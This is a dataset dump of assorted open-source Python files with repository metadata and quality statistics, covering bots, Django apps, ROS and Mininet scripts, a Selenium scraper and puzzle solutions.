true
0
0.074074
0
0.074074
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
f83913edc4b000ba4986205d63145c52269b4655
1,252
py
Python
utils.py
rsoorajs/deecubes-telegram-bot
223710eb117c1333fefcff22bcf473e89e41c769
[ "MIT" ]
2
2017-10-08T19:02:01.000Z
2020-05-16T21:55:18.000Z
utils.py
rsoorajs/deecubes-telegram-bot
223710eb117c1333fefcff22bcf473e89e41c769
[ "MIT" ]
null
null
null
utils.py
rsoorajs/deecubes-telegram-bot
223710eb117c1333fefcff22bcf473e89e41c769
[ "MIT" ]
3
2018-08-05T18:36:58.000Z
2020-05-16T21:55:19.000Z
import logging from functools import wraps from PIL import Image, ImageFont, ImageDraw from config import LIST_ALLOWED_USERS def restricted(func): @wraps(func) def wrapped(_, bot, update, *args, **kwargs): user_id = update.effective_user.id if LIST_ALLOWED_USERS: if user_id not in LIST_ALLOWED_USER...
25.04
90
0.683706
176
1,252
4.721591
0.448864
0.028881
0.057762
0.045728
0.036101
0
0
0
0
0
0
0.010101
0.209265
1,252
49
91
25.55102
0.829293
0.06869
0
0.055556
0
0
0.041237
0
0
0
0
0.020408
0
1
0.083333
false
0
0.111111
0
0.25
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
f83da86dbe71993fb962e0b2187a7e3ca515bae8
2,254
py
Python
recipes/Python/577563_Vectorize_Operation/recipe-577563.py
tdiprima/code
61a74f5f93da087d27c70b2efe779ac6bd2a3b4f
[ "MIT" ]
2,023
2017-07-29T09:34:46.000Z
2022-03-24T08:00:45.000Z
recipes/Python/577563_Vectorize_Operation/recipe-577563.py
unhacker/code
73b09edc1b9850c557a79296655f140ce5e853db
[ "MIT" ]
32
2017-09-02T17:20:08.000Z
2022-02-11T17:49:37.000Z
recipes/Python/577563_Vectorize_Operation/recipe-577563.py
unhacker/code
73b09edc1b9850c557a79296655f140ce5e853db
[ "MIT" ]
780
2017-07-28T19:23:28.000Z
2022-03-25T20:39:41.000Z
""" Copyright 2011 Shao-Chuan Wang <shaochuan.wang AT gmail.com> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to ...
40.25
81
0.732476
345
2,254
4.669565
0.414493
0.054624
0.081937
0.089385
0.165736
0.03352
0.03352
0.03352
0
0
0
0.007081
0.185448
2,254
55
82
40.981818
0.87037
0
0
0
0
0
0.014559
0
0
0
0
0
0
0
null
null
0
0.107143
null
null
0.071429
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f8433cd21799446edb00e1ccf569de9f138f3e9c
3,017
py
Python
learning/modules/resnet/resnet_conditional.py
esteng/guiding-multi-step
3f0db0ba70b5851cc83878f4ed48cf82342a2ddf
[ "BSD-2-Clause" ]
null
null
null
learning/modules/resnet/resnet_conditional.py
esteng/guiding-multi-step
3f0db0ba70b5851cc83878f4ed48cf82342a2ddf
[ "BSD-2-Clause" ]
null
null
null
learning/modules/resnet/resnet_conditional.py
esteng/guiding-multi-step
3f0db0ba70b5851cc83878f4ed48cf82342a2ddf
[ "BSD-2-Clause" ]
null
null
null
import torch from torch import nn as nn from learning.modules.blocks import ResBlock, ResBlockConditional class ResNetConditional(nn.Module): def __init__(self, embed_size, channels, c_out): super(ResNetConditional, self).__init__() self.block1 = ResBlock(channels) # RF...
46.415385
86
0.552536
326
3,017
5.046012
0.236196
0.072948
0.175076
0.175076
0.187234
0
0
0
0
0
0
0.070265
0.349022
3,017
65
87
46.415385
0.767312
0.077229
0
0
0
0
0.004348
0
0
0
0
0
0
1
0.05
false
0
0.05
0
0.133333
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f845c07a85b4945884e014911b73cc010e95c5c2
802
py
Python
problems/203_remove-linked-list-elements.py
okuda-seminar/review_leetcode
9774dbb85b836c3ebab4b24d77774ed05abb7a32
[ "MIT" ]
null
null
null
problems/203_remove-linked-list-elements.py
okuda-seminar/review_leetcode
9774dbb85b836c3ebab4b24d77774ed05abb7a32
[ "MIT" ]
170
2021-05-11T14:03:05.000Z
2021-11-30T14:22:52.000Z
problems/203_remove-linked-list-elements.py
ryuji0123/review_leetcode
9774dbb85b836c3ebab4b24d77774ed05abb7a32
[ "MIT" ]
null
null
null
# # @lc app=leetcode id=203 lang=python3 # # [203] Remove Linked List Elements # # @lc code=start # Definition for singly-linked list. # class ListNode: # def __init__(self, val=0, next=None): # self.val = val # self.next = next class Solution: def removeElements(self, head: ListNode, val: int)...
23.588235
67
0.55985
99
802
4.414141
0.424242
0.201373
0.171625
0.077803
0
0
0
0
0
0
0
0.015009
0.335411
802
33
68
24.30303
0.804878
0.34788
0
0
0
0
0
0
0
0
0
0
0
1
0.076923
false
0
0
0
0.307692
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f848ba579a50c6fd3ee1c43bc3d139711769e3be
2,825
py
Python
Code/Test Code/UI Tests/move.py
mwyoung/Cornhole-Robot
830289fa30619ccec634b84b7cd81177e6b7740c
[ "MIT" ]
null
null
null
Code/Test Code/UI Tests/move.py
mwyoung/Cornhole-Robot
830289fa30619ccec634b84b7cd81177e6b7740c
[ "MIT" ]
null
null
null
Code/Test Code/UI Tests/move.py
mwyoung/Cornhole-Robot
830289fa30619ccec634b84b7cd81177e6b7740c
[ "MIT" ]
null
null
null
#!/usr/bin/python # with help from teleop_keyboard.py, # https://github.com/ros-teleop/teleop_twist_keyboard/blob/master/teleop_twist_keyboard.py # Graylin Trevor Jay and Austin Hendrix, BSD licensed import roslib; #roslib.load_manifest('teleop_move') import rospy from geometry_msgs.msg import Twist import sys, ...
25
92
0.524602
392
2,825
3.714286
0.313776
0.027473
0.024725
0.010989
0.235577
0.235577
0.230769
0.164835
0.152473
0.152473
0
0.036504
0.311504
2,825
112
93
25.223214
0.712082
0.285664
0
0.085714
0
0
0.078117
0
0
0
0
0
0
0
null
null
0
0.057143
null
null
0.085714
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f84ba2d7e5aa592c0ac62dbc711d229b2f13adeb
848
py
Python
vpc_hyp2/Createservers.py
dhanraj-vedanth/IaaS_VPC_CDN
262dbc7db63d5e76398dadc8015256fb37986e36
[ "MIT" ]
null
null
null
vpc_hyp2/Createservers.py
dhanraj-vedanth/IaaS_VPC_CDN
262dbc7db63d5e76398dadc8015256fb37986e36
[ "MIT" ]
null
null
null
vpc_hyp2/Createservers.py
dhanraj-vedanth/IaaS_VPC_CDN
262dbc7db63d5e76398dadc8015256fb37986e36
[ "MIT" ]
null
null
null
import os import sys import json import ipaddress import paramiko def func_createcont(br,r,IP): print("\nMaking containers "+r) print("sudo docker run -itd --cap-add=NET_ADMIN --name "+r+" main-vm") os.system("sudo docker run -itd --cap-add=NET_ADMIN --name "+r+" main-vm") print("ovs-docker add-port "+...
33.92
78
0.650943
146
848
3.753425
0.294521
0.145985
0.153285
0.175182
0.75
0.680657
0.671533
0.49635
0.412409
0.288321
0
0.009972
0.17217
848
24
79
35.333333
0.770655
0
0
0
0
0
0.514151
0
0
0
0
0
0
1
0.047619
false
0
0.238095
0
0.285714
0.285714
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f858848401df27fd04f2c1792b618ab879328af0
1,112
py
Python
siqbal/siqbal/doctype/item_label/item_label.py
smehata/siqbal
8b6a21fb63c050237593c49757065198c0e2c54a
[ "MIT" ]
1
2021-08-07T12:48:02.000Z
2021-08-07T12:48:02.000Z
siqbal/siqbal/doctype/item_label/item_label.py
smehata/siqbal
8b6a21fb63c050237593c49757065198c0e2c54a
[ "MIT" ]
null
null
null
siqbal/siqbal/doctype/item_label/item_label.py
smehata/siqbal
8b6a21fb63c050237593c49757065198c0e2c54a
[ "MIT" ]
4
2021-01-16T06:14:58.000Z
2022-02-07T06:36:41.000Z
# -*- coding: utf-8 -*- # Copyright (c) 2020, RC and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe from frappe.model.document import Document class ItemLabel(Document): def on_submit(self): for d in self.get("items"): # Check for Price list...
37.066667
116
0.732914
177
1,112
4.322034
0.361582
0.247059
0.101961
0.044444
0.172549
0.172549
0
0
0
0
0
0.005269
0.146583
1,112
29
117
38.344828
0.800843
0.207734
0
0
0
0
0.163616
0
0
0
0
0
0
1
0.1
false
0
0.15
0
0.3
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f85ead752c9700ddc5fb73af13b5441235631493
2,190
py
Python
gencode/python/udmi/schema/event_audit.py
johnrandolph/udmi
5e9de32fc71de8d006cda2eba4d3372eaf24c7c0
[ "Apache-2.0" ]
1
2022-02-24T22:57:37.000Z
2022-02-24T22:57:37.000Z
gencode/python/udmi/schema/event_audit.py
johnrandolph/udmi
5e9de32fc71de8d006cda2eba4d3372eaf24c7c0
[ "Apache-2.0" ]
5
2022-02-24T21:32:24.000Z
2022-03-23T15:52:25.000Z
gencode/python/udmi/schema/event_audit.py
johnrandolph/udmi
5e9de32fc71de8d006cda2eba4d3372eaf24c7c0
[ "Apache-2.0" ]
null
null
null
"""Generated class for event_audit.json""" class Object0C54FB6D: """Generated schema class""" def __init__(self): self.subFolder = None self.subType = None @staticmethod def from_dict(source): if not source: return None result = Object0C54FB6D() result.subFolder = source.get('subFo...
23.548387
77
0.648402
266
2,190
5.244361
0.154135
0.068817
0.060215
0.048746
0.511828
0.511828
0.511828
0.461649
0.461649
0.461649
0
0.013174
0.237443
2,190
92
78
23.804348
0.822156
0.043379
0
0.586667
1
0
0.04243
0
0
0
0
0
0
1
0.133333
false
0
0.013333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f85fde926cda35a9fc74acc2b0acaa097f44bc32
456
py
Python
src/apps/notes/models.py
mentalnoteapp/backend-django-rest-framework
82d95fbe1aeb93b85105bf7ae94a3c13534f72cb
[ "MIT" ]
null
null
null
src/apps/notes/models.py
mentalnoteapp/backend-django-rest-framework
82d95fbe1aeb93b85105bf7ae94a3c13534f72cb
[ "MIT" ]
null
null
null
src/apps/notes/models.py
mentalnoteapp/backend-django-rest-framework
82d95fbe1aeb93b85105bf7ae94a3c13534f72cb
[ "MIT" ]
null
null
null
from django.contrib.auth.models import User from django.db import models from apps.tags.models import Tag class Note(models.Model): owner = models.ForeignKey(User, related_name="notes") tags = models.ManyToManyField(Tag, related_name="notes", blank=True) created = models.DateTimeField(auto_now_add=True)...
26.823529
72
0.736842
62
456
5.274194
0.596774
0.061162
0.097859
0
0
0
0
0
0
0
0
0.007813
0.157895
456
16
73
28.5
0.84375
0
0
0
0
0
0.02193
0
0
0
0
0
0
1
0.090909
false
0
0.272727
0.090909
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
f8683ceaf922240bb0a9b5391ea9deb94effc25d
253
py
Python
programming/python_in_high_performance_computing/cyt_modules/cyt_setup.py
carlosevmoura/courses-notes
dc938625dd79267f9a262e7e6939205f63dda885
[ "MIT" ]
null
null
null
programming/python_in_high_performance_computing/cyt_modules/cyt_setup.py
carlosevmoura/courses-notes
dc938625dd79267f9a262e7e6939205f63dda885
[ "MIT" ]
null
null
null
programming/python_in_high_performance_computing/cyt_modules/cyt_setup.py
carlosevmoura/courses-notes
dc938625dd79267f9a262e7e6939205f63dda885
[ "MIT" ]
null
null
null
from distutils.core import Extension, setup from Cython.Build import cythonize from Cython.Compiler import Options Options.docstrings = False ext = Extension(name="cyt_module", sources=["cyt_module.pyx"]) setup( ext_modules = cythonize(ext), )
18.071429
62
0.766798
33
253
5.787879
0.606061
0.104712
0
0
0
0
0
0
0
0
0
0
0.134387
253
13
63
19.461538
0.872146
0
0
0
0
0
0.095238
0
0
0
0
0
0
1
0
false
0
0.375
0
0.375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
f86f8495a3b204ecbbc51199ca2187879cae3c8e
397
py
Python
code/level6.py
ab300819/PythonChallenge
4bcc91f8b11d0a5ec5720137bef55eec6b1f7581
[ "Apache-2.0" ]
null
null
null
code/level6.py
ab300819/PythonChallenge
4bcc91f8b11d0a5ec5720137bef55eec6b1f7581
[ "Apache-2.0" ]
null
null
null
code/level6.py
ab300819/PythonChallenge
4bcc91f8b11d0a5ec5720137bef55eec6b1f7581
[ "Apache-2.0" ]
null
null
null
# -*-coding:utf-8-*- __author__ = 'Mason' import re import zipfile z = zipfile.ZipFile('channel.zip', mode='r') number = '90052' comments = [] while True: text = z.read(number + '.txt') number = re.findall('([0-9]+)', text) print number try: number = number[0] comments.append(z.getinfo...
19.85
59
0.594458
50
397
4.64
0.64
0.077586
0
0
0
0
0
0
0
0
0
0.029221
0.224181
397
19
60
20.894737
0.724026
0.04534
0
0
0
0
0.100796
0
0
0
0
0
0
0
null
null
0
0.125
null
null
0.125
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f873731d39e77de62eb053df48244e290afd54de
1,038
py
Python
py/LSS/imaging/veto_masks/lrg/lrg_wise_mask_v1.py
echaussidon/LSS
205ce48a288acacbd41358e6d0215f4aff355049
[ "BSD-3-Clause" ]
null
null
null
py/LSS/imaging/veto_masks/lrg/lrg_wise_mask_v1.py
echaussidon/LSS
205ce48a288acacbd41358e6d0215f4aff355049
[ "BSD-3-Clause" ]
null
null
null
py/LSS/imaging/veto_masks/lrg/lrg_wise_mask_v1.py
echaussidon/LSS
205ce48a288acacbd41358e6d0215f4aff355049
[ "BSD-3-Clause" ]
null
null
null
from __future__ import division, print_function import sys, os, glob, time, warnings, gc # import matplotlib.pyplot as plt import numpy as np from astropy.table import Table, vstack, hstack import fitsio from astropy.io import fits from scipy.interpolate import interp1d output_path = '/global/cfs/cdirs/desi/users/ro...
33.483871
116
0.706166
198
1,038
3.565657
0.474747
0.025496
0.036827
0.050992
0.152975
0.152975
0.152975
0.152975
0.152975
0.152975
0
0.144114
0.124277
1,038
30
117
34.6
0.632563
0.055877
0
0
0
0.105263
0.19877
0.156762
0
0
0
0
0
1
0
false
0
0.368421
0
0.368421
0.052632
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
f875e138fd658884c3bfbd92197a369b04338ea0
4,590
py
Python
cembot/languages/EN.py
niksart/cembot
99ec3067bde5b8b72053dd18caa18742afba6a5e
[ "MIT" ]
null
null
null
cembot/languages/EN.py
niksart/cembot
99ec3067bde5b8b72053dd18caa18742afba6a5e
[ "MIT" ]
15
2018-08-30T13:56:27.000Z
2021-07-21T08:58:03.000Z
cembot/languages/EN.py
niksart/cembot
99ec3067bde5b8b72053dd18caa18742afba6a5e
[ "MIT" ]
null
null
null
# Support for english (EN) language def missing_translation(tr_id): return "MISSING TRANSLATION FOR STRING ID '" + str(tr_id) + "'" helper_commands = { "AUTHORIZE": "Usage:\n/authorize @<username>\n/authorize <user id>", "DEAUTHORIZE": "Usage:\n/deauthorize @<username>\n/deauthorize <user id>", "GIVEN": "Usage:\n...
49.891304
144
0.70305
628
4,590
4.921975
0.265924
0.02944
0.035587
0.048528
0.158848
0.146231
0.097703
0.025235
0.025235
0.025235
0
0.001053
0.172331
4,590
91
145
50.43956
0.808897
0.030065
0
0.0375
0
0.0375
0.735268
0.194332
0
0
0
0
0
1
0.0125
false
0
0
0.0125
0.025
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f87b501fc4a702c459b5a826cf1537ec0638bb2a
1,855
py
Python
core/migrations/0001_initial.py
SanjaLV/Tenis
ea714da10207723c27ff7204b4285ea6a773521b
[ "MIT" ]
null
null
null
core/migrations/0001_initial.py
SanjaLV/Tenis
ea714da10207723c27ff7204b4285ea6a773521b
[ "MIT" ]
null
null
null
core/migrations/0001_initial.py
SanjaLV/Tenis
ea714da10207723c27ff7204b4285ea6a773521b
[ "MIT" ]
null
null
null
# Generated by Django 2.1.7 on 2019-03-31 10:31 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] ope...
37.1
132
0.581132
183
1,855
5.770492
0.415301
0.102273
0.05303
0.083333
0.386364
0.386364
0.291667
0.291667
0.291667
0.291667
0
0.018769
0.281941
1,855
49
133
37.857143
0.774024
0.024259
0
0.380952
1
0
0.073562
0
0
0
0
0
0
1
0
false
0
0.071429
0
0.166667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f87d14c4254943a1783a77600bab62106f89c898
6,336
py
Python
pddlstream/ss/algorithms/fast_downward.py
zerongxi/Kitchen2D
2cbaa6c8ea8fbf5f5c3a5de34cb11efde4121793
[ "MIT" ]
35
2018-03-15T14:26:33.000Z
2022-02-09T15:37:59.000Z
pddlstream/ss/algorithms/fast_downward.py
zerongxi/Kitchen2D
2cbaa6c8ea8fbf5f5c3a5de34cb11efde4121793
[ "MIT" ]
1
2020-11-03T04:49:43.000Z
2020-11-17T16:42:48.000Z
pddlstream/ss/algorithms/fast_downward.py
zerongxi/Kitchen2D
2cbaa6c8ea8fbf5f5c3a5de34cb11efde4121793
[ "MIT" ]
12
2018-04-28T20:11:21.000Z
2021-09-18T22:24:46.000Z
from time import time from ss.utils import INF import sys import os import shutil TEMP_DIR = 'temp/' DOMAIN_INPUT = 'domain.pddl' PROBLEM_INPUT = 'problem.pddl' TRANSLATE_OUTPUT = 'output.sas' SEARCH_OUTPUT = 'sas_plan' ENV_VAR = 'FD_PATH' FD_BIN = 'bin' TRANSLATE_DIR = 'translate/' SEARCH_COMMAND = 'downward --inter...
34.064516
94
0.646938
882
6,336
4.43424
0.175737
0.042956
0.049859
0.07057
0.458706
0.424955
0.424955
0.417796
0.389159
0.364868
0
0.008309
0.202178
6,336
185
95
34.248649
0.765381
0
0
0.184932
0
0.041096
0.37863
0.269886
0
0
0
0
0
0
null
null
0
0.047945
null
null
0.034247
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f885cb85cd328a59b1d3f0d46e987b871f1a5d6d
1,977
py
Python
apiser/10-grpc/src/utils/tools/zemail.py
hyhlinux/demo_vue
cf61d0ba21cce93b04951076c8c23c0fe693bb5b
[ "Apache-2.0" ]
null
null
null
apiser/10-grpc/src/utils/tools/zemail.py
hyhlinux/demo_vue
cf61d0ba21cce93b04951076c8c23c0fe693bb5b
[ "Apache-2.0" ]
2
2022-02-10T12:00:22.000Z
2022-03-02T02:31:40.000Z
apiser/10-grpc/src/utils/tools/zemail.py
hyhlinux/demo_vue
cf61d0ba21cce93b04951076c8c23c0fe693bb5b
[ "Apache-2.0" ]
null
null
null
import smtplib import os from email.mime.text import MIMEText from email.utils import formataddr from email.mime.image import MIMEImage from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.header import Header try: from src.config import CONFIG except ImportError: class...
29.954545
107
0.630754
250
1,977
4.864
0.352
0.074013
0.042763
0.027961
0.223684
0.185855
0.185855
0.185855
0.120066
0.120066
0
0.010081
0.247344
1,977
65
108
30.415385
0.807124
0.054628
0
0.148148
0
0
0.067633
0
0
0
0
0
0
1
0.111111
false
0.074074
0.185185
0
0.407407
0.037037
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
f8905d54c870fed2c5b2b1831a4130a25651f566
5,539
py
Python
MR-OCP/mrcap/utils/downsample_atlas.py
justi/m2g
09e8b889889ee8d8fb08b9b6fcd726fb3d901644
[ "Apache-2.0" ]
12
2015-03-11T22:07:17.000Z
2016-01-29T21:24:29.000Z
MR-OCP/mrcap/utils/downsample_atlas.py
youngmook/m2g
09e8b889889ee8d8fb08b9b6fcd726fb3d901644
[ "Apache-2.0" ]
213
2015-01-30T16:02:57.000Z
2016-01-29T21:45:02.000Z
MR-OCP/mrcap/utils/downsample_atlas.py
youngmook/m2g
09e8b889889ee8d8fb08b9b6fcd726fb3d901644
[ "Apache-2.0" ]
5
2015-02-04T13:58:12.000Z
2016-01-29T21:24:46.000Z
#!/usr/bin/env python # Copyright 2014 Open Connectome Project (http://openconnecto.me) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #...
32.582353
157
0.667268
871
5,539
4.167623
0.353617
0.027273
0.01157
0.011019
0.055647
0.025895
0.020937
0.020937
0.020937
0.014876
0
0.017804
0.209063
5,539
169
158
32.775148
0.810774
0.223326
0
0.022222
0
0.011111
0.146871
0.006398
0
0
0
0.005917
0.011111
0
null
null
0
0.111111
null
null
0.077778
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f891f4ca2c23bac0817312243666f8fd196ddfcf
9,970
py
Python
selinum_basics.py
elithaxxor/craiglist_scraper
db35d06004e306229cd10d7678574763cf48c625
[ "MIT" ]
null
null
null
selinum_basics.py
elithaxxor/craiglist_scraper
db35d06004e306229cd10d7678574763cf48c625
[ "MIT" ]
null
null
null
selinum_basics.py
elithaxxor/craiglist_scraper
db35d06004e306229cd10d7678574763cf48c625
[ "MIT" ]
null
null
null
import os import re import time from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver import Chrome from s...
57.298851
1,381
0.768907
1,326
9,970
5.686275
0.21267
0.022546
0.036074
0.045093
0.665252
0.649602
0.616313
0.587268
0.548011
0.518966
0
0.133326
0.090471
9,970
173
1,382
57.630058
0.698169
0.671214
0
0.194444
0
0.041667
0.259845
0.147837
0
0
0
0.00578
0
1
0
false
0
0.166667
0
0.166667
0.25
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f89a1bc1e1f90da376a0c1761bee56b1db485561
1,438
py
Python
remove_negative_from_positive_augmented_samples.py
DarkElement75/object-detection-experiments
fc638f361f76d7bbb6e5cde9a3480c656b486ad6
[ "MIT" ]
null
null
null
remove_negative_from_positive_augmented_samples.py
DarkElement75/object-detection-experiments
fc638f361f76d7bbb6e5cde9a3480c656b486ad6
[ "MIT" ]
null
null
null
remove_negative_from_positive_augmented_samples.py
DarkElement75/object-detection-experiments
fc638f361f76d7bbb6e5cde9a3480c656b486ad6
[ "MIT" ]
null
null
null
import h5py import numpy as np import cv2 def read_new(archive_dir): with h5py.File(archive_dir, "r", chunks=True, compression="gzip") as hf: """ Load our X data the usual way, using a memmap for our x data because it may be too large to hold in RAM, and loading Y as normal ...
35.95
112
0.632823
236
1,438
3.707627
0.40678
0.082286
0.059429
0.038857
0.162286
0.112
0
0
0
0
0
0.023299
0.253825
1,438
39
113
36.871795
0.792171
0
0
0
0
0
0.077154
0.029058
0
0
0
0
0
0
null
null
0
0.115385
null
null
0.076923
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f89ade1e452186e4d101ccde6adaccc57996d66d
646
py
Python
Automate_Whatsapp_Sending_Text.py
IshvinaKapoor/Automate-WhatsApp
f499db0540c56b74152a368af1fa361ecea69806
[ "MIT" ]
null
null
null
Automate_Whatsapp_Sending_Text.py
IshvinaKapoor/Automate-WhatsApp
f499db0540c56b74152a368af1fa361ecea69806
[ "MIT" ]
null
null
null
Automate_Whatsapp_Sending_Text.py
IshvinaKapoor/Automate-WhatsApp
f499db0540c56b74152a368af1fa361ecea69806
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Automate WhatsApp - Sending WhatsApp message @author: DELL Ishvina Kapoor """ #importing the necessary modules import pywhatkit as pkt import getpass as gp #displaying a welcome message print("Automating Whatsapp!") #capturing the target phone number from the user phone_...
23.925926
96
0.716718
91
646
5.065934
0.692308
0.039046
0
0
0
0
0
0
0
0
0
0.013514
0.198142
646
27
97
23.925926
0.876448
0.47678
0
0
0
0
0.35906
0
0
0
0
0
0
1
0
false
0.285714
0.285714
0
0.285714
0.285714
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
f8a65542e1ebb18eabea4f393380c912f8314bfc
696
py
Python
network/topo-custom.py
kstough/pox
152625fcd40fc5ddfce87b7632fd40777507205c
[ "Apache-2.0" ]
null
null
null
network/topo-custom.py
kstough/pox
152625fcd40fc5ddfce87b7632fd40777507205c
[ "Apache-2.0" ]
null
null
null
network/topo-custom.py
kstough/pox
152625fcd40fc5ddfce87b7632fd40777507205c
[ "Apache-2.0" ]
null
null
null
"""Custom topology example s7 ---- s8 ---- s9 / \ / \ / \ h1 h2 h3 h4 h5 h6 """ from mininet.topo import Topo print('Loading MyTopo') class MyTopo(Topo): "Simple topology example." def __init__(self): Topo.__init__(self) # Add hosts and switches h1, h2, h3, h4, h5, h6 = (se...
19.885714
79
0.570402
105
696
3.704762
0.428571
0.226221
0.100257
0.041131
0.061697
0.061697
0
0
0
0
0
0.07393
0.261494
696
34
80
20.470588
0.682879
0.211207
0
0
0
0
0.082585
0
0
0
0
0
0
1
0.058824
false
0
0.058824
0
0.176471
0.058824
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f8a7cc80262619abcc2b85bf1530f105f8f8ce34
362
py
Python
agri/urls.py
Bhavesh0327/Agriblock
72015e1765214b153771dbc3868eae01fe8898b3
[ "MIT" ]
1
2020-10-01T08:28:57.000Z
2020-10-01T08:28:57.000Z
agri/urls.py
Bhavesh0327/Agriblock
72015e1765214b153771dbc3868eae01fe8898b3
[ "MIT" ]
14
2020-06-05T20:37:13.000Z
2022-02-26T22:51:36.000Z
agri/urls.py
Bhavesh0327/Agriblock
72015e1765214b153771dbc3868eae01fe8898b3
[ "MIT" ]
3
2020-01-29T04:34:28.000Z
2020-09-30T21:48:30.000Z
from django.urls import path from .views import * rest_urls = list(map(lambda x: path(x[0], x[1], name=x[2]), [ ('login/', login, 'login'), ('issue_asset/', issue_asset, 'issue_asset'), ('buy/', buy, 'buy'), ('get_assets/', get_assets, 'get_assets'), ('get_transactions/', get_transactions, 'get_tr...
25.857143
63
0.638122
49
362
4.489796
0.469388
0.136364
0.163636
0.181818
0.136364
0
0
0
0
0
0
0.009868
0.160221
362
13
64
27.846154
0.713816
0
0
0
0
0
0.262431
0
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f8b864241fa615529ec19943c7bf44bcc5c33cfb
4,274
py
Python
solutions/2021/day5/day5.py
teije01/adventofcode
2742985f8437e9784e7ec5430e3846a755b5d386
[ "MIT" ]
null
null
null
solutions/2021/day5/day5.py
teije01/adventofcode
2742985f8437e9784e7ec5430e3846a755b5d386
[ "MIT" ]
null
null
null
solutions/2021/day5/day5.py
teije01/adventofcode
2742985f8437e9784e7ec5430e3846a755b5d386
[ "MIT" ]
null
null
null
""" --- Day 5: Hydrothermal Venture --- You come across a field of hydrothermal vents on the ocean floor! These vents constantly produce large, opaque clouds, so it would be best to avoid them if possible. They tend to form in lines; the submarine helpfully produces a list of nearby lines of vents (your puzzle input)...
31.426471
111
0.653486
747
4,274
3.697456
0.281125
0.01231
0.010862
0.008689
0.227009
0.185373
0.144823
0.133961
0.115858
0.091238
0
0.071001
0.218999
4,274
135
112
31.659259
0.756441
0.63781
0
0.102564
0
0
0.07236
0.033246
0
0
0
0
0
1
0.153846
false
0
0.025641
0.102564
0.333333
0.051282
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
1
f8bec2e6574c370927ccaaf8971ce34b58a52c44
497
py
